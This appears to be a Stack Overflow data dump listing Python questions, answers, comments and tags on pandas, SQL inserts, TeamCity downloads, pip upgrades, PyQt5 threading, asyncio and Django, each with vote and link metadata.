has body: You can using groupby with str.split and creat the target df you want for x , y in df.groupby('COLUMN_1'): s=pd.DataFrame({'COLUMN_1':y.COLUMN_2.str.split(', ').iloc[0],'COLUMN_2':y.COLUMN_3.str.split(',').iloc[0]}) print(s) COLUMN_1 COLUMN_2 0 Spiderman 18 1 Batman 74 2 Flash 88 COLUMN_1 COLUMN_2 0 Hulk 1 1 Thor 7 2 Ironman 8 Also we can store the data into a dict d={x:pd.DataFrame({'COLUMN_1': y.COLUMN_2.str.split(', ').iloc[0], 'COLUMN_2': y.COLUMN_3.str.split(',').iloc[0]}) for x, y in df.groupby('COLUMN_1')} d Out[412]: {'DC': COLUMN_1 COLUMN_2 0 Spiderman 18 1 Batman 74 2 Flash 88, 'Marvel': COLUMN_1 COLUMN_2 0 Hulk 1 1 Thor 7 2 Ironman 8}

http://stackoverflow.com/q/49554125
type: Question
has answer: http://stackoverflow.com/a/49554251
answer count: 1
tagged with: python
has title: Not enough arguments for format string error when inserting list into database SQL Python
type: AnsweredQuestion
score: 0
tagged with: list
has body: I'm trying to insert a list into separate columns of a database print inserter params = ['%s' for item in inserter] sql_query = 'INSERT INTO tablename (coloumn1, coloumn2, coloumn3, coloumn4, coloumn5, coloumn6, coloumn7) VALUES (%s,%s,%s,%s,%s,%s,%s);' % ','.join(params) cursor.execute(sql_query) db.commit But keep getting the error not enough arguments for format string Anyone know what I am doing wrong?
tagged with: sql
accepted answer: http://stackoverflow.com/a/49554251

http://stackoverflow.com/q/49484814
has comment: http://stackoverflow.com/comment/85972452
tagged with: scripting
tagged with: python
has comment: http://stackoverflow.com/comment/85972705
type: Question
tagged with: python-3.x
upvote count: 0
has answer: http://stackoverflow.com/a/49485118
downvote count: 2
tagged with: continuous-integration
has comment: http://stackoverflow.com/comment/85972540
type: UnansweredQuestion
score: -2
answer count: 1
tagged with: teamcity
favorite count: 0
has body: I have 2 machines on which I need to download Anaconda.sh and some compiled zipped files. One machine is Linux where I downloaded all zip files plus .sh files using below curl command: curl -s -o cmake-3.4.1-Linux-x86_64.tar.gz http://ccm-XYZ/tools/cmake-3.4.1-Linux-x86_64.tar.gz As this is the linux machine, I am calling it from teamcity and it's working fine as expected. Unfortunately, I'm getting issue with the Windows machine. I want the same behaviour for windows. I want to download .gz file as mentioned above from the teamcity build step and then extract it. As of now, I am using python script as below: import subprocess subprocess.call("curl -s -o cmake-3.4.1-Linux-x86_64.tar.gz http://tools/cmake-3.4.1-Linux-x86_64.tar.gz", shell=True) It is not running. Any suggestions here. How can I get into python interactive mode to run the python scripts?
has title: How to run python query directly from teamcity

http://stackoverflow.com/comment/86159280
type: Comment
has text: If you find an answer to your question, please post it as an answer, not edit to the question. It is fine to answer your own question.
score: 0
comment on: http://stackoverflow.com/q/49574647
type: QuestionComment

http://stackoverflow.com/comment/85902480
has text: @jpp - `sheet_name=None` return from all sheets dictinaories of DataFrames
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49449922
score: 1

http://stackoverflow.com/q/49508788
tagged with: pandas
answer count: 1
linked to: http://stackoverflow.com/q/49239548
has comment: http://stackoverflow.com/comment/86061831
has body: Let's imagine you are storing a list of items in the Google Cloud DataStore. Each item has a list of sub-items (list of features) and sub-sub-items (list of infos each with a list of attribute-key). [ { "key": "product_1234", "name": "Bio-Tofu", "features" : { "country": "Germany", "currency": "Euro" }, "infos": { "info_A": { "attr_A": "key_A", "attr_B": "key_B", "attr_C": "key_C", }, "info_B": { "attr_D": "key_D", } } }, { "key": "product_6789", "name": "Bio-Soya-Dring", "features" : { "country": "Austria", "currency": "Euro" }, "infos": { "info_A": { "attr_A": "key_A", "attr_E": "key_E", }, "info_C": { "attr_F": "key_F", } } } ] Question: Is there any way to retrieve all 'infos' or all 'attribute-key' pairs of all items (products) at once? What I want to retrieve is for instance: { "attr_A": "key_A", "attr_B": "key_B", "attr_C": "key_C", "attr_D": "key_D", "attr_E": "key_E", "attr_F": "key_F", } or infos: [ "info_A", "info_B", "info_C" ] The reason why I'm trying to do this is, that I want to create a Pandas DataFrame (Pivot-Table) having the infos or features as columns and the items as rows. I could just read all of the items and create the list of features and infos in Python code, but maybe there's SQL way to ask Google Cloud Storage to give me that list (subset, union, or whatever you name it)? Thanks for any hint.
type: Question
has comment: http://stackoverflow.com/comment/86062041
tagged with: google-cloud-datastore
type: UnansweredQuestion
has title: Google Cloud DataStore: get all children of items by type at once
tagged with: python
has comment: http://stackoverflow.com/comment/86059149
linked to: http://stackoverflow.com/q/44865227
linked to: http://stackoverflow.com/q/952914
tagged with: nosql
score: 0
has answer: http://stackoverflow.com/a/49557068
has comment: http://stackoverflow.com/comment/86061453
has comment: http://stackoverflow.com/comment/86102864

http://stackoverflow.com/a/49562611
downvote count: 0
type: Answer
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49562556
upvote count: 1
score: 1
has body: https://docs.python.org/3/library/sys.html#sys.getsizeof Only the memory consumption directly attributed to the object is accounted for, not the memory consumption of objects it refers to.
answers question: http://stackoverflow.com/q/49562556

http://stackoverflow.com/comment/86015667
type: Comment
score: 0
type: AnswerComment
has text: An ordereddict would keep the keys in the order that you add them. If you want to do something else (such as deserialize json into an ordered format), you should add that onto the question :)
comment on: http://stackoverflow.com/a/49505296

http://stackoverflow.com/comment/86178638
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49585346
has text: The package you've installed doesn't have the modules you're trying to import, hence the error. You might be looking for [`google-auth`](https://pypi.python.org/pypi/google-auth) instead of `google-api-python-client`.
type: Comment

http://stackoverflow.com/comment/85883411
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49440016
has text: Dictionaries don't have names.

http://stackoverflow.com/a/49462785
has body: If call sum to DataFrame, get Series. For one row DataFrame use: stats_df = pd.DataFrame(X, columns=stats_feature_names).sum().to_frame().T Another solution: df1 = pd.DataFrame(X, columns=stats_feature_names) stats_df = pd.DataFrame([df1.sum().values], columns=df.columns)
score: 0
accepted answer of: http://stackoverflow.com/q/49462765
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85930723
type: Answer
answers question: http://stackoverflow.com/q/49462765

http://stackoverflow.com/comment/86173121
score: 0
comment on: http://stackoverflow.com/q/49582379
type: Comment
has text: I meant the equivalent function, but it would also be great to parse it.
type: QuestionComment

http://stackoverflow.com/a/49594190
upvote count: 8
has comment: http://stackoverflow.com/comment/86196028
type: Answer
has comment: http://stackoverflow.com/comment/86195871
score: 8
accepted answer of: http://stackoverflow.com/q/49594160
has body: Use the return_value argument: mock_mock = Mock(return_value=my_mock)
has comment: http://stackoverflow.com/comment/86195845
answers question: http://stackoverflow.com/q/49594160
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/85925511
has text: Personally I would love to see the 30-40 different functions that are all incorrect. Now that would be a feat worth seeing.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49461230
score: 2

http://stackoverflow.com/comment/86123893
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49558079
has text: Are you sure it is correct answer? I tried it and get just last column (but yep with correct values).

http://stackoverflow.com/comment/85946405
comment on: http://stackoverflow.com/a/49471822
type: Comment
score: 0
type: AnswerComment
has text: I was thinking there was some datetime function already built for this but I guess maybe not. Both of you had very quick and great answers! not even sure what to accept actually. thanks!

http://stackoverflow.com/comment/86193665
type: Comment
has text: Thanks for the comments. I am not doing anything on my own. I found above script here http://forum.codecall.net/topic/76134-help-understanding-from-sys-import-argv/. So, I don't understand why it does not work.
type: QuestionComment
comment on: http://stackoverflow.com/q/49592949
score: 0

http://stackoverflow.com/q/49543468
type: AnsweredQuestion
tagged with: list
has comment: http://stackoverflow.com/comment/86094708
has comment: http://stackoverflow.com/comment/86094523
has answer: http://stackoverflow.com/a/49543688
has comment: http://stackoverflow.com/comment/86094652
answer count: 4
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49572317
upvote count: 2
has body: I have a few N-dimensional arrays as below. How can I convert these arrays into tuples? num = ['1' '2'] letter1 = ['a' 'b' 'c' 'd' 'e' 'f'] letter2 = ['aa' 'bb' 'cc' 'dd' 'ee' 'ff'] The result I want is: tuple1 = [(1,a),(1,b),(1,c),(1,d),(1,e),(1,f)] tuple2 = [(2,aa),(2,bb),(2,cc),(2,dd),(2,ee),(2,ff)] I have tuple1 = tuple(num[0], letter1) tuple2 = tuple(num[1], letter2) But I got an error of TypeError: tuple() takes at most 1 argument (2 given) What would be your approach? Any methods would be appreciated. Thanks.
downvote count: 0
has title: Convert list to list of tuples with repeated value of item in each tuple
possible better answer: http://stackoverflow.com/a/49543592
tagged with: python
accepted answer: http://stackoverflow.com/a/49543530
has answer: http://stackoverflow.com/a/49543592
tagged with: tuples
has answer: http://stackoverflow.com/a/49543530
score: 2
has comment: http://stackoverflow.com/comment/86094533

http://stackoverflow.com/comment/114624972
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/56779700
has text: Sorry, css_file is your custom css. Bootstrap is added in the stylesheets call. I'm afraid I used custom CSS to get columns to be the correct size on the pdf. As it's always going to be the same size it doesn't need to be responsive (for my use case).

http://stackoverflow.com/q/49454011
score: 6
tagged with: web-scraping
has body: I found a cool python that script that scrapes player information off of NFL rosters. However I would like to add NFL Combine results to the data. I have included an example below for one player. import urllib.request from bs4 import BeautifulSoup URL2 = 'www.nfl.com/player/deandrewwhite/2552657/combine' soupCombine = BeautifulSoup(urllib.request.urlopen(URL2)) Combinestats = soupCombine.find_all("div", attrs = {"class": "tp-title"}) Combinestats[0].contents Produces: ['3 Cone Drill', < span class="tp-results">6.97 secs< /span>] How do I get the following out of Combinestats[0].contents? DrillName = '3 Cone Drill' DrillResult = 6.97 For reference here are the items in Combinestats. for ii in range(len(Combinestats)): print(Combinestats[ii].contents) ['3 Cone Drill', 6.97 secs] ['40 Yard Dash', 4.44 Secs] ['Broad Jump', 118.0 inches] ['20 Yard Shuttle', 4.18 secs] ['Vertical Jump', 34.5 inches]
possible better answer: http://stackoverflow.com/a/49455980
favorite count: 0
tagged with: beautifulsoup
type: Question
type: AnsweredQuestion
has title: Extracting items out of an element.ResultSet
tagged with: python
upvote count: 6
accepted answer: http://stackoverflow.com/a/49454073
linked to: http://stackoverflow.com/q/36076052
has answer: http://stackoverflow.com/a/49455980
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49454073
answer count: 2
has comment: http://stackoverflow.com/comment/133850849
downvote count: 0

http://stackoverflow.com/a/49508190
score: 2
downvote count: 0
has body: for word in words: if word not in words_dict: words_dict[word] = 0 words_dict[word] += 1 performs up to 3 dict accesses per loop. Even if access is O(1), hashing is far from free, specially on string objects. In that particular case collections.Counter is perfectly suited. For other cases (like creating a list or appending to it), collections.defaultdict is a good alternative, and it's faster. Fictive alternate example: c = collections.defaultdict(list) for i,word in enumerate(words): c[word].append(i) there's also the dict.setdefault() solution, if you want to avoid collections module.
upvote count: 2
answers question: http://stackoverflow.com/q/49507868
type: Answer

http://stackoverflow.com/comment/86081039
has text: OK, I'll revisit when I have a moment - thanks for the clarification.
score: 0
comment on: http://stackoverflow.com/a/49523839
type: Comment
type: AnswerComment

http://stackoverflow.com/q/49445983
tagged with: pyqt5
type: Question
has body: I want to get the queue from the thread and read it outside of the that thread and do a command. The GUI is generated using Qt designer. When i tried the code below it only print the None value for the self.que and it does not update. Below is the code that i am trying. Thank you for helping. from PyQt5 import QtCore, QtGui, QtWidgets, Qt from mtcnn.mtcnn import MTCNN from GUI import Ui_MainWindow import time import cv2 class Thread(QtCore.QThread): changePixmap = QtCore.pyqtSignal(QtGui.QPixmap) def __init__(self, parent = None): QtCore.QThread.__init__(self, parent=parent) self.que = '' def run (self): capture = cv2.VideoCapture('sample_video.mp4') while True: check, frame = capture.read() cv2.rectangle(frame,(120,80),(520,390),(255,0,0),5) convertToQtFormat = QtGui.QImage(frame.data, frame.shape[1], frame.shape[0], QtGui.QImage.Format_RGB888) convertToQtFormat = QtGui.QPixmap.fromImage(convertToQtFormat) video = convertToQtFormat.scaled(290, 220, QtCore.Qt.KeepAspectRatio) self.changePixmap.emit(video) face = detector.detect_faces(frame) if a_face in face: self.que = 'True' class MainGUI(QtWidgets.QMainWindow, Ui_MainWindow): def __init__(self, *args, **kwargs): QtWidgets.QMainWindow.__init__(self, *args, **kwargs) self.setupUi(self) th = Thread(self) th.changePixmap.connect(self.label.setPixmap) self.label.show() th.start() if th.que == "True": print('Yey') if __name__ == "__main__": import sys detector = MTCNN() app = QtWidgets.QApplication(sys.argv) w = MainGUI() w.show() sys.exit(app.exec_())
has title: Get info from the thread in pyqt5
tagged with: python
has answer: http://stackoverflow.com/a/49446090
accepted answer: http://stackoverflow.com/a/49446090
type: AnsweredQuestion
score: 0
tagged with: pyqt
tagged with: multithreading
answer count: 1

http://stackoverflow.com/q/49489569
answer count: 2
has comment: http://stackoverflow.com/comment/85981830
has comment: http://stackoverflow.com/comment/85982045
has comment: http://stackoverflow.com/comment/85994433
upvote count: 3
downvote count: 0
tagged with: pip
has body: Basically, the title. I want to upgrade pip because I cannot get new packages in python because it is obsolete. When I try to run pip3 install --upgrade pip from the Ubuntu terminal, this happens: Collecting pip Using cached pip-9.0.3-py2.py3-none-any.whl Installing collected packages: pip Found existing installation: pip 9.0.1 Uninstalling pip-9.0.1: Successfully uninstalled pip-9.0.1 Rolling back uninstall of pip Exception: Traceback (most recent call last): File "/home/marcell/.local/lib/python3.5/site-packages/pip/basecommand.py", line 215, in main status = self.run(options, args) File "/home/marcell/.local/lib/python3.5/site-packages/pip/commands/install.py", line 342, in run prefix=options.prefix_path, File "/home/marcell/.local/lib/python3.5/site-packages/pip/req/req_set.py", line 784, in install **kwargs File "/home/marcell/.local/lib/python3.5/site-packages/pip/req/req_install.py", line 851, in install self.move_wheel_files(self.source_dir, root=root, prefix=prefix) File "/home/marcell/.local/lib/python3.5/site-packages/pip/req/req_install.py", line 1064, in move_wheel_files isolated=self.isolated, File "/home/marcell/.local/lib/python3.5/site-packages/pip/wheel.py", line 345, in move_wheel_files clobber(source, lib_dir, True) File "/home/marcell/.local/lib/python3.5/site-packages/pip/wheel.py", line 316, in clobber ensure_dir(destdir) File "/home/marcell/.local/lib/python3.5/site-packages/pip/utils/__init__.py", line 83, in ensure_dir os.makedirs(path) File "/usr/lib/python3.5/os.py", line 241, in makedirs mkdir(name, mode) PermissionError: [Errno 13] Permission denied: '/usr/local/lib/python3.5/dist-packages/pip' You are using pip version 9.0.1, however version 9.0.3 is available. You should consider upgrading via the 'pip install --upgrade pip' command. How should I solve this problem? I tried to purge pip and reinstall it,but to no avail. Edit: Also, tried the upgrade command with pip too, but it didn't seem to work.
favorite count: 0
type: Question
tagged with: python-3.x
has title: Python3: Trying to upgrade pip3 in Ubuntu 16.04 but it doesn't update
has answer: http://stackoverflow.com/a/49490566
linked to: http://stackoverflow.com/q/31512422
score: 3
tagged with: terminal
type: UnansweredQuestion
tagged with: python
tagged with: ubuntu
has answer: http://stackoverflow.com/a/49489881

http://stackoverflow.com/comment/86212118
comment on: http://stackoverflow.com/a/49592810
type: AnswerComment
score: 0
has text: Updated my answer. You can't use tf.to_float _before_ feeding the data through the feed_dict.
type: Comment

http://stackoverflow.com/q/49552335
upvote count: 7
linked to: http://stackoverflow.com/q/11949808
downvote count: 1
tagged with: monkeypatching
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86112556
has comment: http://stackoverflow.com/comment/86112378
tagged with: oop
has comment: http://stackoverflow.com/comment/86112151
duplicate of: http://stackoverflow.com/q/11949808
accepted answer: http://stackoverflow.com/a/49553252
tagged with: python
has answer: http://stackoverflow.com/a/49553252
favorite count: 0
type: Question
has body: I know I can attach a function to a class and make it a method: &gt;&gt;&gt; def is_not_bound(inst, name): ... print("Hello %s" % name) ... &gt;&gt;&gt; &gt;&gt;&gt; class NoMethods: ... pass ... &gt;&gt;&gt; &gt;&gt;&gt; setattr(NoMethods, 'bound', is_not_bound) &gt;&gt;&gt; &gt;&gt;&gt; NoMethods().bound("oz") # prints: Hello oz Hello oz To my surprise this works also with a bound method from one class to another: &gt;&gt;&gt; class Foo: ... def foo(self, name): ... print("Hello %s" % name) ... &gt;&gt;&gt; class B: ... pass ... &gt;&gt;&gt; setattr(B, 'bound_to_b', getattr(Foo, 'foo')) &gt;&gt;&gt; B().bound_to_b("confused?") Hello confused? &gt;&gt;&gt; Can I safely use this? Is there something I am overseeing? update One caveat that I found already: &gt;&gt;&gt; B.bound_to_b &lt;function Foo.foo at 0x7fc997e8b730&gt; Even though I called the method from B, It seems bound to Foo. And even more surprising!: &gt;&gt;&gt; def new_method(self, addto): ... return self.num + addto ... &gt;&gt;&gt; setattr(B, 'add', new_method) &gt;&gt;&gt; b=B() &gt;&gt;&gt; b.num = 2 &gt;&gt;&gt; b.add(2) 4
tagged with: python-3.x
has title: Safely bind method from one class to another class in Python
has comment: http://stackoverflow.com/comment/86112050
has comment: http://stackoverflow.com/comment/86112214
answer count: 1
has comment: http://stackoverflow.com/comment/86112530
score: 6

http://stackoverflow.com/comment/86051984
type: AnswerComment
has text: Now i have BackgroundBrush color set in simple_GUI set to gray. ForegroundBrush color in simple_GUI set to black. And QPen in main code set to white as you write. Still, no ellipse in scene.
type: Comment
comment on: http://stackoverflow.com/a/49522787
score: 0

http://stackoverflow.com/a/49591269
has comment: http://stackoverflow.com/comment/86323097
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49590892
has comment: http://stackoverflow.com/comment/86322999
has comment: http://stackoverflow.com/comment/86335389
accepted answer of: http://stackoverflow.com/q/49590892
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: Below is one way. As per your previous questions, I choose to use collections.Counter instead of pandas for your counting logic. The input required is in the form of a mapping dictionary rep_dict. We apply this to substrings of strings within the df['Utterance'] series. from collections import Counter import pandas as pd df = pd.DataFrame([['Directions to Starbucks', 1045], ['Show me directions to Starbucks', 754], ['Give me directions to Starbucks', 612], ['Navigate me to Starbucks', 498], ['Display navigation to Starbucks', 376], ['Direct me to Starbucks', 201], ['Navigate to Starbucks', 180]], columns=['Utterance', 'Frequency']) # define dictionary of mappings rep_dict = {'Starbucks': 'Coffee', 'Tullys': 'Coffee', 'Seattles Best': 'Coffee'} # apply substring mapping df['Utterance'] = df['Utterance'].replace(rep_dict, regex=True).str.lower() # previous logic below c = Counter() for row in df.itertuples(): for i in row[1].split(): c[i] += row[2] res = pd.DataFrame.from_dict(c, orient='index')\ .rename(columns={0: 'Count'})\ .sort_values('Count', ascending=False) def add_combinations(df, lst): for i in lst: words = '_'.join(i) df.loc[words] = df.loc[df.index.isin(i), 'Count'].sum() return df.sort_values('Count', ascending=False) lst = [('give', 'show', 'navigate', 'direct')] res = add_combinations(res, lst) Result Count to 3666 coffee 3666 directions 2411 give_show_navigate_direct 2245 me 2065 show 754 navigate 678 give 612 display 376 navigation 376 direct 201

http://stackoverflow.com/comment/86165948
score: 0
has text: "when I do the same with the json response, diacritics get mangled". How do they get mangled? How can we reproduce the problem?
comment on: http://stackoverflow.com/q/49575005
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85996231
score: 0
comment on: http://stackoverflow.com/q/49496188
type: Comment
has text: What are `h1` and `h2`? You also do not need the `== True` statements, you are already checking that with `h2output[1] not in h1output`, which will either evaluate to `True` or `False`
type: QuestionComment

http://stackoverflow.com/comment/86011782
comment on: http://stackoverflow.com/q/49503571
type: QuestionComment
score: 0
has text: @W22 I think that you need to use `request.form['key']` to get the `POST` values, if the `POST` send the data like `JSON` in the body request then you can try with `request.get_json()`
type: Comment

performance
tags question: http://stackoverflow.com/q/49586775
tags question: http://stackoverflow.com/q/49459145
tags question: http://stackoverflow.com/q/49583267
tags question: http://stackoverflow.com/q/49534628
tags question: http://stackoverflow.com/q/49535318
tags question: http://stackoverflow.com/q/49454340
tags question: http://stackoverflow.com/q/49552386
tags question: http://stackoverflow.com/q/49541307
tags question: http://stackoverflow.com/q/49497705
tags question: http://stackoverflow.com/q/49469556
tag name: performance
tags question: http://stackoverflow.com/q/49455786
tags question: http://stackoverflow.com/q/49584136
tags question: http://stackoverflow.com/q/49566288
tags question: http://stackoverflow.com/q/49581695
tags question: http://stackoverflow.com/q/49446297
tags question: http://stackoverflow.com/q/49555779
type: Tag
tags question: http://stackoverflow.com/q/49530088
tags question: http://stackoverflow.com/q/49476133
tags question: http://stackoverflow.com/q/49457290
tags question: http://stackoverflow.com/q/49454465
tags question: http://stackoverflow.com/q/49453846
tags question: http://stackoverflow.com/q/49455804
tags question: http://stackoverflow.com/q/49447182
tags question: http://stackoverflow.com/q/49479351

http://stackoverflow.com/a/49467240
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/85945455
has body: You're not too clear about different cases that this problem can have, like overlapping, etc., but if you want to check only the intersection from start of a's rows and don't want to take the overlapped sub-arrays into the consideration here is a solution by splitting the a based on b's shape: In [22]: x_a, y_a = a.shape In [23]: x_b, y_b = b.shape In [24]: sum((b == arr).all() for arr in np.vsplit(a[:,:y_b], x_a//x_b)) Out[24]: 2 Explanation: np.vsplit(a[:,:y_b], x_a//x_b) will give you the first y_b items from each row in a, splited based to equal x_a//x_b sized chunks. In [25]: np.vsplit(a[:,:y_b], x_a//x_b) Out[25]: [array([[0, 0, 1], [1, 1, 1]]), array([[0, 0, 1], [1, 1, 1]])] And the following generator expression within sum will give you number of equal sub arrays to b. In [24]: sum((b == arr).all() for arr in np.vsplit(a[:,:y_b], x_a//x_b)) Out[24]: 2
has comment: http://stackoverflow.com/comment/85938565
accepted answer of: http://stackoverflow.com/q/49467061
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49467061
has comment: http://stackoverflow.com/comment/85938067

http://stackoverflow.com/a/49544381
type: Answer
has comment: http://stackoverflow.com/comment/86132280
answers question: http://stackoverflow.com/q/49533612
has comment: http://stackoverflow.com/comment/86131938
has body: This line is definitely incorrect: mktoTask.add_done_callback( functools.partial( initSalesforce, "myparam1") You can't send an async function to add_done_callback, which expects a regular function. When invoked, an async/coroutine function returns a coroutine object without executing any of the code inside. To actually execute the code, the coroutine object must be submitted to an event loop. In your case, it will be dropped instead without ever executing the code inside the function. (This is much like calling a generator, but never passing the returned iterator to something that will extract values out of it.) What you need is something like: async def initEvga(pubSubMsg): ... if MKTO_BATCH['count'] == MKTO_BATCH['total']: await getMarketoData(MKTO_BATCH['data']) await initSalesforce("myparam1") ... Now that initEvga is a coroutine, start it from callback using: loop.create_task(initEvga(pubSubMsg)) ...or, if the callback is invoked from a different thread: asyncio.run_coroutine_threadsafe(initEvga(pubSubMsg), loop) (You don't need to pass loop to asyncio functions, they can always obtain the running event loop by calling asyncio.get_event_loop().) Finally, loop.call_soon(self.callback(message, loop)) doesn't make sense because call_soon accepts a function to call, and the above code is calling it with the result of self.callback(), which is invoked immediately. You need either: self.callback(message, loop) or something like: loop.call_soon(self.callback, message, loop) # or loop.call_soon_threadsafe if called from a different thread Since in both cases callback must be short and non-blocking, there seems to be no benefit in postponing it, so I'd choose the first variant.
has comment: http://stackoverflow.com/comment/86144599
score: 2
has comment: http://stackoverflow.com/comment/86144836
has comment: http://stackoverflow.com/comment/86159696
has comment: http://stackoverflow.com/comment/86132253
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86146295
downvote count: 0
has comment: http://stackoverflow.com/comment/86115327
has comment: http://stackoverflow.com/comment/86144960
has comment: http://stackoverflow.com/comment/86159220
accepted answer of: http://stackoverflow.com/q/49533612
upvote count: 2
has comment: http://stackoverflow.com/comment/86116752

http://stackoverflow.com/a/49467766
upvote count: 3
has body: If what you want is to get the real distance to the scene, you can take a look at the OpenCV sample (stereo_match.py, stereo_match.cpp). What you need is the 4x4 Q matrix obtained from stereoRectify that is the disparity-to-depth mapping matrix. reprojectImageTo3D can then be used to transform the disparity map to 3D map.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49453405
score: 3

http://stackoverflow.com/q/49516102
has body: https://www.volkswagen-vans.co.uk/en/offers-finance/offers/caddy-panel-van.html response.xpath('//div[@class="vw_m108_item_container vw_accordion_item_container"]//div[@class="inner"]/div[@class="td"]//text()')
tagged with: xpath
upvote count: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/49516388
has comment: http://stackoverflow.com/comment/86065810
has answer: http://stackoverflow.com/a/49516388
downvote count: 1
has comment: http://stackoverflow.com/comment/86037372
has title: Can't find data using this xpath? in Python Scrapy
tagged with: scrapy
favorite count: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86070032
has comment: http://stackoverflow.com/comment/86037305
has answer: http://stackoverflow.com/a/49533903
accepted answer: http://stackoverflow.com/a/49533903
tagged with: python
score: -1

http://stackoverflow.com/q/49561767
has comment: http://stackoverflow.com/comment/86132370
type: UnansweredQuestion
tagged with: python
has body: I'm running Python 3.6.4 :: Anaconda custom (64-bit) on Win7. I pulled this example right out of https://pymotw.com/3/argparse/index.html#module-argparse and don't understand why parser = argparse.ArgumentParser(description='Short sample app') throws this exception when instantiating the parser. --------------------------------------------------------------------------- IndexError Traceback (most recent call last) &lt;ipython-input-70-a75bf8c17dc8&gt; in &lt;module&gt;() ----&gt; 1 parser = argparse.ArgumentParser(description='Short sample app') 2 3 parser.add_argument('-a', action="store_true", default=False) 4 parser.add_argument('-b', action="store", dest="b") 5 parser.add_argument('-c', action="store", dest="c", type=int) ~\AppData\Local\Continuum\Anaconda3\lib\argparse.py in __init__(self, prog, usage, description, epilog, parents, formatter_class, prefix_chars, fromfile_prefix_chars, argument_default, conflict_handler, add_help, allow_abbrev) 1620 # default setting for prog 1621 if prog is None: -&gt; 1622 prog = _os.path.basename(_sys.argv[0]) 1623 1624 self.prog = prog IndexError: string index out of range
has comment: http://stackoverflow.com/comment/86131605
score: 0
has title: Python argparse throws IndexError in Jupyter
has comment: http://stackoverflow.com/comment/86137980
answer count: 0
has comment: http://stackoverflow.com/comment/86132385
tagged with: jupyter-notebook
type: Question
has comment: http://stackoverflow.com/comment/86132308
has comment: http://stackoverflow.com/comment/86137915

http://stackoverflow.com/a/49542710
has body: &gt;&gt;&gt; list(zip(*map(operator.itemgetter('firstname', 'lastname'), D.values()))) [('Ross', 'Melvin', 'Alfredo', 'Jay', 'Claudia', 'Ben', 'Virginia', 'Caleb', 'Olivia', 'Amy'), ('Estrada', 'Graves', 'Hopkins', 'Ramos', 'Brown', 'Carson', 'Harmon', 'Reese', 'Olson', 'Valdez')] &gt;&gt;&gt; fnames, lnames = zip(*map(operator.itemgetter('firstname', 'lastname'), D.values())) &gt;&gt;&gt; fnames ('Ross', 'Melvin', 'Alfredo', 'Jay', 'Claudia', 'Ben', 'Virginia', 'Caleb', 'Olivia', 'Amy') &gt;&gt;&gt; lnames ('Estrada', 'Graves', 'Hopkins', 'Ramos', 'Brown', 'Carson', 'Harmon', 'Reese', 'Olson', 'Valdez')
answers question: http://stackoverflow.com/q/49542588
type: Answer
score: 3
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/86166439
type: AnswerComment
has text: Yup, this works. I just need to figure out how to get rid of all the noise in the .XML documents now since they don't contain a and .. This said, the solution works perfectly.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49577617

http://stackoverflow.com/comment/86165853
comment on: http://stackoverflow.com/q/49571954
score: 1
type: Comment
type: QuestionComment
has text: I was able to reproduce your issue with pyodbc 4.0.22 under Python2. I just tried your original `.execute` under pyodbc 4.0.23 (released today) and it worked fine for me. Try upgrading to the latest version and see if that helps.

http://stackoverflow.com/comment/85975994
type: Comment
comment on: http://stackoverflow.com/a/49486716
type: AnswerComment
has text: Should be ```'\\'```. ```r'\'``` is not going to work.
score: 5

http://stackoverflow.com/comment/86097553
score: 0
comment on: http://stackoverflow.com/a/49544852
type: Comment
has text: Is there a space after the comma in the file?
type: AnswerComment

http://stackoverflow.com/q/49547074
has answer: http://stackoverflow.com/a/49547173
tagged with: django
tagged with: python
has body: I have a model, and I just want to show the data of the model in my /api/ from django.db import models from rest_framework.authtoken.models import Token from django.contrib.auth.models import User class Book(models.Model): order_id = models.IntegerField() isbn = models.IntegerField() publisher = models.CharField(max_length=256) school = models.CharField(max_length=256) price = models.IntegerField() duration = models.CharField(max_length=10) order_datetime = models.DateTimeField(auto_now=False, auto_now_add=False) def __str__(self): return str(self.order_id) This is my urls.py: from django.contrib import admin from django.urls import path from filter import views urlpatterns = [ path('', views.index, name='index'), path('api/', views.BookApiView.as_view(), name='book_api'), path('admin/', admin.site.urls), ] This is my views.py: from django.shortcuts import render from rest_framework.views import APIView from .models import Book from django.http import JsonResponse class BookApiView(APIView): def get(self, request, format=None): books = Book.objects.all() return JsonResponse({'model': list(books)}) I get the following error: 'Object of type 'Book' is not JSON serializable' Regards, Anthony
accepted answer: http://stackoverflow.com/a/49547173
possible better answer: http://stackoverflow.com/a/49547175
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49547175
has answer: http://stackoverflow.com/a/49547194
answer count: 3
type: Question
has title: Show objects on APIView

monkeypatching
tag name: monkeypatching
tags question: http://stackoverflow.com/q/49552335
tags question: http://stackoverflow.com/q/49547630
type: Tag

http://stackoverflow.com/a/55072266
answers question: http://stackoverflow.com/q/49584489
score: 1
upvote count: 1
type: Answer
